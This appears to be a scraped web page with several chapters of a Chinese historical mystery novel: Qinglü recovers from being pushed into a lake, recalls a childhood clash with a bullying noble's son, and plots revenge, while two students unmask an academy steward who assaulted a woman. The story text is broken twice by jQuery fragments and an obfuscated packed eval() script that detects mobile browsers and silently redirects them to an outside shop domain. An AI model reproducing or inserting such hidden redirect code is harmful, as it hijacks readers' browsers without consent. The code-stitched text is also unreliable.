{ $(''.inform'').remove(); $(''#content'').append('' 你救的,但是我自个的,值多少银子与你无关,你只挣你救人的银子。我一下拿不出这么多,先欠着。” 赵一航闲闲道:“本公子信你,堂堂兰台主簿,总不至于昧下这点银子。” 青绿翻了他一个十方白眼。 朵朵此时气喘吁吁抱着豆豆来到二人身旁。 赵一航笑道:“我方才路过此处,被小姑娘拉着不让走,说有人掉湖里了,我是救也得救,不救也得救,主簿该谢的人是她。” 朵朵稚声稚气道:“我听见有人喊救命,跑过来看见姐姐的脑袋在水里七上八下的,吓得跑到外头叫人,看见大哥哥,便拦路打劫了。” 她说话用词一套一套的,虽然不甚妥当,却也连贯。 青绿语气轻柔道:“谢谢小朵朵,若不是朵朵机灵,姐姐真的很危险呢。” 朵朵害羞地扭了扭小身子:“姐姐过奖了,大恩不言谢。” 青绿噗嗤一声笑了出来。 赵一航与她对视一眼,故作不经意地问:“方向朵朵可看见有什么人在这里?” 朵朵认真想了想,摇头道:“没有。” 青绿瞪了他一眼。 赵一航一笑,抱拳对青绿道:“主薄已无大碍,赵某告辞。” 青绿站起身,行了一个特别没有诚意的谢礼:“不送。” 赵一航对朵朵道:“小姑娘,哥哥姓赵,后会有期。”言罢,两步跨到池塘边,脚尖一点,踩着一池睡莲飞掠到对岸,身后飘来他的轻语声:“一千两。” 朵朵拍着小手道:“赵哥哥好厉害,是个神仙,厉害的人都位列仙班,薛姝姐姐是,赵哥哥亦是。” 青绿心里一动:“你认识薛姝?”她想起那对坐在廊椅上的母子说过这个名字。 朵朵眉眼弯弯,点头道:“她是我师傅,教我练防身术,她的枪法可厉害了。” 青绿又问:“你一个人在湖边?” “没有啦,我都是和吴哥哥一起来,我们一起在我家后院养小鸡,方才豆豆没吃饱,吴哥哥先把虫子拿回去,再来接我。” “吴哥哥也是蒙学班的?”青绿猜想,朵朵不过五六岁,而吴雅童才来,应该都念蒙学班。 “我们念的是童子班。童子班的孩童都好生了得,吴哥哥算数很厉害,绰号叫‘算你狠’。” 青绿大致明白,所谓童子班是专门给天赋异禀的孩童开办的,因笑道:“朵朵也念童子班,也很厉害。”。 朵朵有些羞赧道:“不是啦,我在蒙学班总是问夫子问题,夫子烦了,便把我赶到了童子班,说让童子班的神童治治我。”天真地笑了,“姐姐,我家小刘说,神童就是脑洞特别大的孩童,脑洞是啥我就不知道了。” 青绿正与朵朵闲聊着,小北喊着“姑娘”,满头大汗分开遮挡在面前的芦苇走了过来,一见青绿便大惊:“姑娘落水里啦?” 青绿笑看着朵朵道:“摘花时大意了,是朵朵救了我。” 小北忙欠身对朵朵行了一礼:“我替主子谢过朵朵。” 小朵朵很客气地摆摆小手道:“大恩不言谢,我叫百里朵朵。” 小北担忧地问青绿:“姑娘你已湿身,如何回去呢?” 青绿呸了一口道:“呸,你才失身。” 朵朵热情地发出邀请:“姐姐可上我们家换衣裳,我家离此处不远。我爹是教律法的先生,我娘花半仙在家,我养了二十只小鸡。” 青绿原想着朵朵救了自己,该上门向她家大人道声谢,但一想到自己是被推下水的,说不定凶手还躲在暗处,若上她家,不敢肯定会否给她家人带去危险。 想了想,掏出脖子上挂着的那枚西域带回的羊脂白玉平安扣,给朵朵带上:“这个给朵朵做个纪念。姐姐还有紧要事要办,下次再去看你养的小鸡。”眸光含着温暖,“朵朵,今天你救了姐姐的事,除了你娘,不可以告诉别人哦。” 朵朵似懂非懂,却点头承诺:“姐姐你放心,朵朵不说。姐姐记得来我家看我养的小鸡。” 青绿伸出小手指道:“拉钩。” 外头有小男孩喊朵朵,朵朵急忙抱着母鸡向青绿及小北道别:“吴哥哥来了,我得走了。” 青绿悄悄隐在暗处,目送朵朵与吴雅童离开 小北有些神秘地递给青绿一个物件道:“姑娘,你看这个。”。 青绿接过一看,神色一凛,眉头顿时拧成了川字型:“何处得来?” 小北道:“就在进来的小路上。” 48.第四十八章 四少 青绿看到小北摊开的掌心里,是一个明晃晃的鎏金龙纹带钩,她拿起细细看了一下,带钩无论是质地及做工均为上乘,应价格不菲,第一反应是赵一航落下的,一想不对,她记起今日向赵一航问路时,他系着一条红丝绦,打的是花结,并未用带钩。 她眉头拧得紧紧的,带钩不是赵一航的,便极有可能是推自己下水那人的,他发现丢了带钩,肯定心里发慌,应该会趁着天黑或翌日一大早前来寻找。想起管胖子说过,只要作案,便不可避免地留下痕迹。不由冷冷一笑。 青绿对小北道:“走,上树。” “姑娘你都多大人了,还爬树?”小北劝道。 “晾干衣服再走,一会你看见任何人都不要说话。” 眼看太阳慢慢落入地平线,光线越来越暗,小北小声道:“姑娘,我们在等啥?天要黑了,恐路上不好走。” 青绿两眼透过枝叶间的缝隙,看着草地前青石板路的两头,轻声道:“别急,再等会。”打定主意,若那人不出现,天黑后在附近找个客栈歇一宿,明早天没亮再来守候。 便此时,一位锦衣华服身形高挑的公子,气定神闲地沿着西头的青石板路走来,似乎在欣赏风景,实则两眼不时睃巡着地面。 路上行人不多,偶有弟子路过也是步履匆匆。 公子站在芦苇丛的小道入口处,看了四周一下,便顺着小道慢慢寻到池塘边,在方才青绿落水之处绕了几圈,还用脚踩了一下路边的野草。 青绿坐在树上,居高临下,第一眼便从衣着上认出,他是坐在廊椅上的那对母子中,曾对她发出恶意评价的公子哥。 看他低头四处寻觅的样子,带钩是他的无疑,但她想不明白的是,公子哥为何杀她? 难道又是因为当年她的走失?许多无辜之人为此丧命,她梦到过他们的家人前来寻仇,模模糊糊看不清面孔,惊醒后总是不寒而栗。 公子哥望着水面怔怔出了一会神,突然,他似乎下了某种决心,头一甩,将一绺斜挂在右脸的长刘海甩在脑后,裸露出光洁的前额及明显的大小眼。 他的这个动作似曾相识,青绿脑子飞快转动起来,突然一件往事涌上心头。 青绿约五岁那年,秋高气爽,上郡太守周嵩的夫人吴婉如邀了日常交往的几位豪门贵妇,在西郊枫涛苑办赏秋会,娘带青绿前往。 枫涛苑是一块风水宝地,大门朝南开,东边是蜿蜒流淌的青龙河,河水绕着枫涛苑流到西边的白虎山下,再入沣河。 山上枫叶正红,山下流水潺潺。 河边天然的七色花毯上,七八名十来岁的公子千金在临时支起的小桌旁喝酒吃肉,几碗热酒下肚,话题扯到男女情事上。 一名身形纤瘦,白净脸上眉眼细长的公子,对身旁虎背熊腰的公子笑道:“春春,你大哥的一把长戟,舞得人目眩神摇,花菁阁魁首卞锦瑟被他迷得不要不要的。” 说话的是大司农靳一言的嫡长子靳冬,被他唤作春春的是新安侯柳寿的末子柳立春。 柳立春对面,双手拄着一柄剑鞘上镶嵌红宝石的长剑的公子调侃道:“柳大哥身强体健,据说卞锦瑟还带了两名次花魁一起侍候。” 他是枫涛苑少主周秋雁,长得高挑匀称,一绺斜挂在右脸的长留海遮住半只右眼,偶尔微风一吹,裸露出光洁的前额及斜飞的剑眉,双眼一大一小,显出别样的风流及不羁。 纨绔们呵呵便笑。 柳立春牛眼闪过一丝阴霾:“哪个乱嚼舌根?不怕我大哥一戟取了他性命?” 周秋雁身旁一位身形矮小,五官入画的公子,海安侯夏大雨的次子夏之末,摇着一把象牙折扇慢悠悠插话道:“该操心的是御史大夫句华容家独子,身旁书童小厮全被句夫人发卖了,却挡不住他在学里勾搭师兄弟。” 此四子人称京城四少,出入鲜衣怒马,美婢恶奴,行人见了皆为之侧目。 纨绔们哄堂大笑。 几名女子红了脸,穿鹅黄襦裙的女子笑骂:“呸,越说越离谱。” 一旁穿杏色纱衣的女子忙转移话题道:“你们可听说了?皇帝陛下颁旨,聘丞相长女凡雪霁为二皇子正妃。” “有甚值得大惊小怪的,二殿下学识渊博,博古通今,深得陛下器重,长得也是人模狗样,不娶凡雪霁娶你这个大长秋的妹子不成?”对面穿粉色罗裙的女子笑道。 杏色纱衣女白了粉色罗裙女一眼,继续道:“消息传出当日,句家的吟媚姐姐便寻了三次短见。唉,这位论模样比凡家姐姐还强上些,怎的便只在一棵树上吊死。” 青绿先是混同几个丫鬟在草地上垒了一个泥窑窑红薯,等候的间隙,一气吃了五串烤鹿肉,又喝了一大碗奶茶,自觉肚子里的缝隙已被奶茶填满,此时正心满意足地将鼓鼓的小肚子平摊在草地上晾晒。 一旁的说话声时断时续传进她耳朵里,听到他们议论雪霁姐姐,便竖起小耳朵想听个究竟,他们却又不说了。 深秋的风凉意甚浓,吃饱了晒太阳很是惬意,她看着天上慢慢飘过的白云,昏昏欲睡。 一阵喧哗声传来。青绿睁眼一看,原先围桌而坐的男女全聚到了河边,两个八九岁上下,身上衣裳补丁叠着补丁的男女孩童跪在地上,周秋雁拿着剑鞘正在抽打那个男孩,边打边骂:“擅闯私家领地,还敢偷野鸭蛋。” 男孩双臂护着脑袋,脸上手上鲜血直流。 女孩朝他磕着头,嘴里不停道:“我们并没有留意,求公子饶了我们,以后再也不敢了。” 周秋雁怒道:“还敢狡辩,我看你们甚是熟门熟路。” 柳立春比划了一下手中弓弩,道:“与贱民费这许多口舌做甚,小爷送他们到河里喂鱼。” 靳冬看着女孩坏笑道:“别呀春春,给哥练练手。” 夏之末折扇一拍脑袋:“冬哥此招甚妙。” 周秋雁用剑鞘狠狠拍了女孩肩膀一下,戏谑道:“哥我今儿心情好,给你两条路,你自个选吧。” 女孩扬起布满泪痕的脸,一双黑亮的眼睛充满了惊恐。 周秋雁道:“一是你头顶酒盏站在三百步外给爷们当靶子。” 纨绔们欢呼,便连几名女子小手也拍得通红:“好耶,四少比拚箭术。” 京城四少并非浪得虚名,而是各有所长。柳立春刀弓俱佳;靳冬诗词歌赋皆绝;周秋雁所学博杂,琴棋书画皆有染指也颇有造诣,且剑术上乘。 夏之末则下得一手好棋,喜赌棋,且只赌脱衣,最高战绩是八名顶尖高手联袂与他下了十盘棋,结局是八名老中青胖瘦不一的赤条条汉子以手作障捂住□□飞奔回府,此八卦让京师中人津津乐道了好长一段时日。 男孩拉住女孩的手拼命摇头:“姐姐,别去。” 周秋雁嘲弄道:“不干?小爷给你们指另一条明路,游到对岸,便饶了你们。” 姐弟俩赫然望着周秋雁,女孩又开始磕头,前额渗出了鲜血。 青绿皱眉看了一下横亘在面前的河流,河面宽阔,别说孩童,便连成人,徒手也未必能游到对岸,且时值深秋,河水冰冷刺骨。 女孩低头含泪道:“我去当靶子。” 周秋雁脸一黑:“你说了算还是小爷说了算?如今只有一条路,便是从河里出去。” 纨绔们起哄:“秋哥威武。” 周秋雁两手各拽着一个孩童将他们拖至河边,便要推进水里。 青绿突然毫无征兆地从草地上一跃而起,如暴怒的小牛犊般一头朝周秋雁撞去。 便听咚地一声,无任何防备的周秋雁松开双手,整个身子被撞进了河里,他挣扎了几下,大喊:“救命。”河水没过了他的头顶。 青绿也因用力过猛,摔了个狗啃。 夏之末惊呼:“秋哥是陆地旱鸭。” 柳立春手忙脚乱跳进河里将他捞了上来。 粉红罗裙女将青绿翻了过来。 众纨绔看着她那张小花猫般脏兮兮的小脸,却无人认识。 杏色纱衣女问青绿:“好端端为何将人推进水里?” 青绿小嘴一撅:“我差不多睡着了,你们在旁聒噪。” 鹅黄襦裙女道:“你是谁家孩儿?怎的如此豪横?” 青绿白眼一翻:“哼,不告诉你。”暗道:我告诉你,好去向我爹告黑状,我又得关小黑屋。 周秋雁喝了几口河水,浑身湿漉漉地极为狼狈,瞪着青绿骂道:“是你撞了小爷?今日不给你点教训,小爷便是王八养的。” 头一甩,将垂挂在右脸的一缕长发甩在脑后,举剑便朝青绿拍去。 青绿一个翻身,将小脸贴在草地上,怕他把自己的脸拍成麻花。 便此时,只听一声断喝:“秋儿,住手。”却是周秋雁的娘亲、太守夫人吴婉如气喘吁吁来到跟前。 周秋雁看着满脸着急的娘亲,不情不愿地放下手中长剑。 吴婉如将青绿扶起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马车起步不久,便传来吴婉如教训儿子的声音:“好好的一场盛宴,被你给搅黄了。” 周秋雁十分委屈:“娘,这臭丫头莫名将我推进河里,你儿子差点被淹死。” “真是一样米养百样人,凡府有堪称典范的大女儿,却也有如此无赖的小女儿。” 众声附和:“堪称京师第一无赖。” 枫涛苑大门外,青绿对姐弟俩道:“你们以后别到这儿来了。” 姐弟俩将食盒交给小北,一起跪下朝青绿叩了三个响头。 女孩道:“我们是文家村的文珊、文库,我是姐姐,他是弟弟,这一带河边草丛有许多野鸭蛋,我们是从豁口进去的,真的不知道是别人家的庄园。敢问姑娘大名,救命之恩没齿不忘。” 青绿小脸笑成了一朵发发:“我名为凡青绿,你们不必记在心上。”对一名扈从下达指令,“将所有食盒带上,送文哥哥文姐姐回家。” 扈从看向纳兰芷楠,见她点头,应了一声“喏”。 马车内,青绿依偎在娘怀里。 纳兰芷楠替她理着额前细碎的绒毛,温言道:“能告诉娘,因为何事要把周哥哥撞到河里么?” 青绿嘟起小嘴道:“娘你说过,人人生而平等,蝼蚁尚且有活着的权利。文珊文库又没惹他,他却平白无故地逼他们跳河。” 纳兰芷叹道:“这世道便是如此,你还小,见的不多罢了。” 青绿坐直了身子:“娘,没人管得了么?” 纳兰芷楠安慰道:“有啊,丫丫姐的爹,你归芾之伯伯所在的兰台便是管这些飞扬跋扈之徒的。” 归伯伯与爹是至交,丫丫是青绿的小伙伴,不过青绿与丫丫玩不到一块,讨厌她动不动便掉泪珠子。 这是青绿第一次听说兰台是做甚的,有兰台管着坏蛋,青绿很放心,加上玩累了,在娘怀里随着晃晃悠悠的马车睡了个好觉。 忆及当年情形,青绿眼眶湿润,仿佛娘亲温暖的手掌还在轻轻替她擦着脸上的污渍,喃喃低语犹在耳边回响:“孩子,你看书太杂,人小想得却多,负重前行,会很累。”低沉的一声长叹,“这世道,人命比蝼蚁还贱。” 青绿危险地眯了眯眼:既戴了顶京城小无赖的高帽,那必须得名副其实,哼,大小眼你惹着我,算你倒霉。 49.第四十八章 合力 翌日,青绿到兰台比往日迟了些。 石头在她书房将书桌擦了又擦,看见她进来,迎上前高兴施礼:“主簿姐姐早。” 青绿坐下,接过他递来的热茶,带着歉意道:“石头,明日再教你认字。”往常这个时辰她已教完小石头认字了。 石头忙点头:“那我翌日再来早些。” 青绿点头,默了默,道:“若听到有关浣衣室的消息,便告诉我。” 宫内最顺畅、最隐蔽的消息渠道,是宫人与宦官间的相互传播。 掖庭狱办事效率低如龟速蜗行,青绿不是不清楚,但疑窦不得解,心里如被猫挠一般,却又不能再次接触七竹,她发现只要自己在兰台范围外出现,身后便隐约跟着尾巴,还时不时“偶遇”对她嘘寒问暖的椒房殿灿嬷嬷。 石头认真点头道:“主簿姐姐,我会留意。” 管胖子负手踱了进来,似笑非笑道:“凡主簿早啊,一个好消息,一个坏消息,先听哪个?” 青绿不以为然道:“随便。”这位师兄的德性,你越在乎,他便越卖关子,不如装作无所谓。 果然,管胖子自顾自道:“坏消息是,最近在附近发现身份不明的西域人,恐来者不善。”顿了顿,“好消息是,师傅说了,念你出远门办差有功,也怕你因得罪人而小命不保,往后你出门办差,可随时调用阿四。” 青绿大喜过望:“我可以调动阿四哥?”方才她在酝酿一件事,正在想着上何处借一名高高手助阵。 管胖子眼里含着疑问:“丫头,你这反应有些超乎寻常。我可跟你说啊,阿四是暗卫,只负责保证你的安全,别指望他替你作妖,兰台虽牛,无故杀人可是要偿命的。” 青绿晃晃脑袋,轻松道:“那能呢,我可是守法公民。” 暗自盘算着,下值后,便安排自家扈从简杰,以照顾凡高的名义住进山尚学宫。 山尚学宫,刘白正前往云溪阁书房。 昨夜他一宿没睡好,一想到句吟媚受辱的画面便气血翻涌,翻来覆去地想着如何才能替她报仇。 此事难在他与句吟媚都是有身份的人,只能暗戳戳查,否则如此香艳的大瓜够京师人吃三生三世。但仅凭一己之力,及句吟媚所说的侮辱她的是中年人,右胳膊被她咬了一口的线索,恐怕难以查实。 学宫近二万人,有弟子延读多年,中年人不少,且极重礼仪,日常衣衫整洁,总不能看见中年男子便上去撸人家的袖子看有否牙印吧。 刘白便想请刘哲助一臂之力,但大考将至,刘哲愿不愿意耗费时间精力去管闲事,毕竟他与句吟媚无任何关系,且与自己又是竞争对手,但若不抓住时机,肇事者伤口一旦愈合,便成无头公案了。 最终他还是决定问问刘哲。刘哲表面瞧着清冷疏离,昨日救人之举却尽显侠肝义胆。 沉思间,却见刘哲迎面走来,二人拱手施礼。 未待刘白开口,便听刘哲道:“必须揪出昨日的王八蛋。” 刘白一愣,瞬间有些感动,忙道:“走,去我斋舍。” 刘白独住的学斋内,贴身小厮桃木给二人倒完茶,自觉站到门外廊下望风。 刘白开门见山道:“我正要去找你帮忙。但担心把你卷进此事,将花费你许多时间,恐会影响你大考。” 刘哲摇头道:“知识积累也不在这一两日功夫,不碍事。” 他本不爱管闲事,是那种不惹事也不怕事的性子,只是不愿见女子受辱。每每此时,便想起结伴进京的小姑娘,心里总是掠过莫名担忧,不知她是否已寻到亲人?是否在京师过得安然? 刘白笑道:“英雄所见略同,真是不打不相识,我属虎,比你年长些,你称我令狐兄便可。”刘白在学宫化名令狐白。 刘哲点头:“令狐兄。”从袖内取出一条深灰色棉质裤腰带,“你看看这个。” 刘白不解:“这是何物?” 刘哲道:“早上我见童子班的孩童用来跳长绳,说是昨日傍晚在沁湖边捡的,便没收了。” 刘白沉吟道:“沁湖边?一般人不会掉了裤腰带也不理会,除非当时十分慌张。” 刘哲点头:“我正是这么想的。你看,这里有个标记。” 刘白看他手指之处,有黑线缝的“仇”字,脸上瞬间掠过惊喜,片刻又摇头道:“学宫姓仇的不少,不能因为其裤腰带落在湖边便是肇事者,除非当时有人看见他从湖里上来而又没系裤腰带。而这是不可能的,否则当场便将他逮住了。 刘哲默了默,道:“有一个法子。” 刘白两眼一亮:“说来听听。” 刘哲不疾不徐道:“虽无人撞见他从湖里上岸,但昨日天未全黑,他湿淋淋赶路回家,会引起旁人注意。” 刘白忙道:“对,当时虽行人稀少却并非无人,但学宫近两万人,逐一询问,黄花菜早凉了。” “这个不难,在讲堂墙上贴几张寻物启事,写明某日某时某人在沁湖边遗失某物,有捡拾者或提供准确线索者,赏银两若干。” 刘白击节赞道:“此法甚好,便说是我遗失了一本经书。” 事情的回应快得出乎二人意料,寻物启事贴出不过两个时辰,便有十来名弟子反馈见闻,其中两名弟子称,昨日傍晚同往讲堂时,于沁湖边遇两拨人,一是浑身滴水、手提裤腰匆匆而行的仇管事,二是询问是否捡到房门钥匙的同门师兄。 刘哲与刘白一合计,仇一段管事嫌疑很大。 刘哲道:“马上告知仇一段,凉亭后有女子物件,他担心是昨夜受辱女子落下的,必会前来处理。” 刘白有些担心:“他敢来么?不怕入坑?” 刘哲笃定道:“他认为自己蒙着面,受辱女子认不出来肯定不敢回来指认,且女子怕影响清誉,对这种事避之唯恐不及。” 刘白道:“好,让桃木去告诉他,我们去沁湖凉亭的角落等着。” 申时初,一阵急促的脚步声,夹杂着仇一段与桃木的说话声,越来越近。 仇一段:“你说有女子的包袱落在此处?拿去失物处便是,为何要来告诉我?” 桃木:“我不敢随便处置,您是学宫管事,还是告诉您好些。” 刘哲与刘白对视一眼,一起看向出现在路口的仇一段。 看到二人的一瞬间,仇一段甚为惊愕,眼底闪过一丝慌乱,随即又恢复了平静,摆出管事的谱,威严道:“不日便要大考,二位弟子不好好温书,在此作甚?” 刘白满脸端肃道:“我们有一事不明,特将仇管事请来,当面讨教一二。” 仇一段毫不客气道:“胡来。天气忒热,有问题到讲堂再说。”说着转身便走。 刘哲突然闪到他身后堵住他的去路,冷冷道:“别急啊,看看你昨日在现场落下了何物?” 仇一段下意识转头瞟了一眼角落,退后几步逼视着刘哲,色厉内荏道:“我落下何物关你屁事,让开,好狗不挡路。” 刘哲步步紧逼:“如此说来,你是承认昨日在此处落下物件了?” 仇一段跳脚大骂:“你小子别胡说八道,我能落下什么物件?” 刘哲嘲道:“昨日有人在此捡到一袋银子,想问问是否是学监大人落下的,怎么便成了血口喷人?仇管事,你在怕甚?” 仇一段一脸狰狞推开刘哲,拨脚便朝外走,嘴里恶狠狠道:“怕你妹啊,待你毛长齐了再来吓唬老子,你等着,有你好看的。” 不防被刘白伸出一脚将他绊了个狗啃泥。 他狼狈爬起,坐在地上慌张道:“你们到底想做甚?我可是堂堂学宫管事,我要喊人了。” 刘白忍不住哈哈笑了两声道:“哈哈,我都要被你这个沙雕笑出八块腹肌了,请大声喊,多些人来围观更好。”右脚踏在大石上,右肘搁膝,剑鞘轻拍左手掌心,冷声道:“说清你昨日申时后的行踪与证人,否则,恐难以离开。” 仇一段眼珠子转了转,竭力压着惊慌,双手拢在袖子里,戏谑道:“待我想想。嗯,对了,昨日用过晚膳,便与我家娘子滚床单,你管得着吗?”猥琐地凑近刘白,“想听细节?” 刘白脸颊骤红,呸了一口,也不与他废话,直截了当道:“你昨日在此侮辱了一名女子。” 仇一段一副被冤枉的屈辱与愤怒:“你含血喷人,说我侮辱女子,有何凭证?” “仇管事忘性忒大,昨日酉时初,你浑身湿透在沁湖对岸漫步,两位弟子非常有礼貌地向你行了弟子礼。” “何人看见我在沁湖边?唤我我答应了?栽赃也得有个过硬的借口不是?”仇一段百般抵赖。 刘白怒不可遏,扑过去一把抓住他的右手,将他宽袖捋至肩胛处,狠狠骂道:“无耻小人,任你如何油腔滑舌,也掩不住侮辱女子的事实。” 果然,仇一段右手小臂上缠着一圈白布。 仇一段淡淡看了刘白一眼,带着戏弄的语气道:“公子是斯文人,要看我身上何处说一声便是,如此粗鲁,旁人还以为公子好男风想非礼我呢。” 刘白咬牙道:“我非礼你,你也配?你敢将白布解下来么?如有一排牙印,非把你揍得满地找牙。” 仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667749|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一段满不在乎:“看就看,没啥敢不敢的。” 他慢悠悠地一圈圈解开缠绕的白布。 刘白却突然愣住了,仇一段手腕处一块碗口大的皮肤,红肿溃烂,布满大小水泡,涂着薄薄一层膏药。 仇一段不屑地看一眼刘白,得意道:“昨夜老夫泡茶,手抖,令狐公子你懂的,那种一夜激战后的手抖,岁月不饶人啊。不小心被滚水烫着了” 刘白气得说不出话来。 刘哲一时也不明白是怎么回事,想了想,心下了然,必定是仇一段怕有人真的追究此事,留了后手。 刘哲猜得没错,昨夜仇一段回到师斋,娘子带孩子去隔壁串门了,他看着右臂上的这排牙□□里发毛,一旦东窗事发将成为铁证。再看着灶上烧得咕嘟咕嘟冒着泡泡的开水,一咬牙,提着水壶便朝牙印浇了上去。 仇一段看看有些手足无措的令狐白,又看看一言不发的刘哲,站起身拍拍屁股得意道:“不陪你们玩了,念在你二人在学宫苦读不易,不追究你们诬陷之罪。回去好好温书,千万别忘了,大祭酒只招一名弟子哦。”他得意忘形地朝前迈开大步。 刘哲侧身让路,待他走到跟前,突然伸出一脚,仇一段又被绊了个狗啃泥。 仇一段趴着吐了一口泥,翻身坐起来,勃然大怒道:“小子你玩阴的,我可不客气了,来人……” “啊”字还没出口,刘哲将一团柔软的物件朝他扔来,他本能接过一看,额头顿时汗如雨下。 这是一条深灰色的裤腰带,昨日他压着句吟媚,解下裤腰带正要行事时,却被刘哲一声“何人”吓得握着裤腰带跳湖而逃,上岸后却不知何时手中裤腰带没了。 刘哲冷冷道:“诺,这玩意便落在此处。”指着仇一段脚下诈道, “昨日两名在沁湖边遇见你的弟子很是纳闷,堂堂仇管事如何提着裤腰一路狂奔?” 仇一段作困兽犹斗:“你如何断定这是我的裤腰带?我还说是你的呢。” “要不要看看上面缝了什么字?” 仇一段哑口无言。礼尚山风大,各家院里晾晒的衣物常被吹到隔壁,男人衣裳材质及颜色大都相同,易被混淆,各家娘子便都在衣物上做了标志。 刘白面无表情道:“还不认么?那便押去见官。相信昨日看见仇管事提着裤腰奔跑了半个学宫的弟子不会少,人证物证俱在,看你如何抵赖。” 仇一段一下跪倒在刘白脚下,抱着他的大腿磕头如捣蒜:“令狐公子,千万别报官,一报官老夫这辈子便完了。只怪老夫一时鬼迷心窍,做出此等下作之事,求公子放老夫一马,” 刘白一脚将他踹翻,持剑左右开弓不分上下痛殴,怒骂道:“学术圣地,竟有如此畜生,传出去我怕污了学宫名声。” 仇一段双手死死护着脑袋,不停求饶:“是,一切都是老夫的错,怪老夫一时鬼迷心窍,但大错已经铸下了,还望公子高抬贵手,要老夫如何赎罪公子开口便是,要多少银子老夫砸锅卖铁也悉数奉上。” 刘白停手,朝他“呸”了一口道:“你瞧我是缺银子的主?你的银子我嫌脏。” 仇一段磕头道:“谢谢公子宽宏大量,老夫一定痛改前非。” 刘白又道:“给你三日时间,三日后你在学宫消失。” 仇一段可怜兮兮地哀求:“请公子通融通融。” 刘哲的声音冷如沁湖冬日的寒冰:“翌日起,别让我在学宫看见你,否则我会与你清算我预考考卷被换的账。” 仇一段猛然瘫倒在地。 刘白劈手夺过仇一段手上的裤腰带,对刘哲摆了摆头:“我们走。” 岔路口,刘白敛了敛衣袖,神情肃穆对刘哲作了一揖道:“谢谢哲弟鼎力相助,往后如有难处,尽管开口。”顿了顿,“我不会因为欠你人情而在考场上让你半分。” 刘哲望着刘白敦厚的面容,倒也觉得他是个坦荡君子,遂点头道:“令狐兄,考场上见。” 不知为何,他觉着刘白那声哲弟很亲切,是那种久违的家人般的感觉。 翌日,一个消息在学宫迅速传开,在学宫干了将近二十年的管事仇一段,一大早向大祭酒千墨云递交了辞呈。 同日,周秋雁收到一名斋役送来的精美请帖,说是薛姝的丫鬟托他转送的。 帖云:庭月可中,壶冰入座。豆花雨歇,宜挥麈之谈;桑落杯深,愿续弄珠之句。敢告前驺,布席芦雪庐,敬俟玉趾。下缀一行小字:盼公子单身赴约。 周秋雁看不明白那些文绉绉的词,但看明白了“布席芦雪庐”及“盼公子单身赴约”二句。 50.第五十章 报复 芦雪庐坐落在西北郊一处依山傍水之地,背靠古木参天的北山,前临风光旖旎的南湖,主楼为坐北朝南的三层白墙小青瓦楼房,楼面呈扇形,层楼叠院、高脊飞檐、曲径回廊、亭台楼榭等无不精致奢华。 登上主楼临窗远眺,可北望山上白雪晶莹琉璃世界,南观湖岸苇絮飘洒清静寰宇。 芦雪庐最具特色之处在于茶楼里煮茶奉茶的茶姬,这些二八佳人言时余音袅袅,捧茶手留余香,故芦雪庐极受文人墨客追捧,如临时起意根本定不到雅厢。 青绿在一楼名为云雾的雅间内独自品茶,她缓缓揭开青瓷盖碗的盖子,水汽携着清香漫出,目光透过眼前薄薄的雾气,她望向雅间虚掩的房门。 扈从简杰正从缝隙处,全神贯注盯着外面的廊道。 青绿扭头朝一直如雕塑般站在窗边的阿四笑道:“阿四哥,过来喝茶,不喝白不喝。” 昨日,管胖子让她这几日抽空将准备移送廷尉府案犯的案籍先送去。案籍即官府登记狱案详情的文书,记录人犯姓名、籍贯、罪名,鞫审过程、断狱结论及执行结果等,属机密,由主簿移交。 她把时间定在今日下午,随后,火速派阿四到芦雪庐,各以薛姝及张三的名义,订了走廊尽头两个相邻的雅间云雾和龙井,又以薛姝的名义给周秋雁送了一封请帖。 在山上学宫卧底的简杰打探到薛姝随师傅孙穰苴在城南的白鹿学宫讲学,近日不在山上学宫。 她要狠狠地教训周秋雁一番,让他领教到惹毛凡府二姑娘的后果。 青绿大摇大摆带着阿四赶在下值前,将案籍送到廷尉府,办完交接手续,便快马加鞭到了芦雪庐。 简杰早已在云雾等候多时,他指着一旁放着的一个半人高形如柜橱的枣红色食盒对青绿道:“广聚轩的膳食也送到了。” 广聚轩是附近一家颇有名气的酒楼,时常接单往芦雪庐送菜肴 青绿点头,做戏做全套,以薛姝的身份,必须是上档次的茶楼,周秋雁才不会有疑,而订这么多的菜肴,是因为大食盒装进一个人绰绰有余。 两个雅间及食盒,花去了青绿进兰台以来的大半俸禄,她很是肉痛,但舍不得孩子套不住狼,回头再从周秋雁身上捞回来便是。只是,盗用薛姝的名号有些不厚道,可谁让周公子疯狂迷恋薛美人呢,青绿暗暗想着,在心里给薛姝作了一揖。 已是晚膳时间,卢雪庐各个雅厢坐满了客人,阿四轻咳一声,面无表情走到门口与简杰站到一起。 简杰难掩激动地小跑到青绿面前道:“他进去了,独自来的,一个小厮都没带。”到隔壁的龙井,要经过云雾。 青绿暗道:踩着约定的钟点到,倒也守时。 对阿四及简杰点点头:“去吧。” 阿四和简杰抬着食盒进了隔壁的龙井雅间,放下食盒后,阿四过来虚掩上房门。 青绿出来站在云雾的门口,听着龙井传出的动静。 她吩咐过伙计,云雾及龙井两个雅间暂不必茶姬侍候,用过晚膳后再吃茶,故不会有人来打扰他们。 便听周秋雁问道:“你们是何人?走错地方了吧?” 简杰道:“小的是广聚轩的伙计,接了订单往龙井雅间送菜肴,这有菜单,请爷过目。” 卢雪庐在后院提供住宿,为的是方便茶客翌日早起观日出。便有一些茶客朝品茗晚品酒,自带膳食或点外卖,尽兴后醉卧温柔乡。 透过房门细小的缝隙,青绿看见周秋雁满脸含笑上前查看食盒里的菜肴。 便在他低头的一刹那,阿四从他身后伸出一只手捂住了他的嘴,另一只手箍住了他的身子。 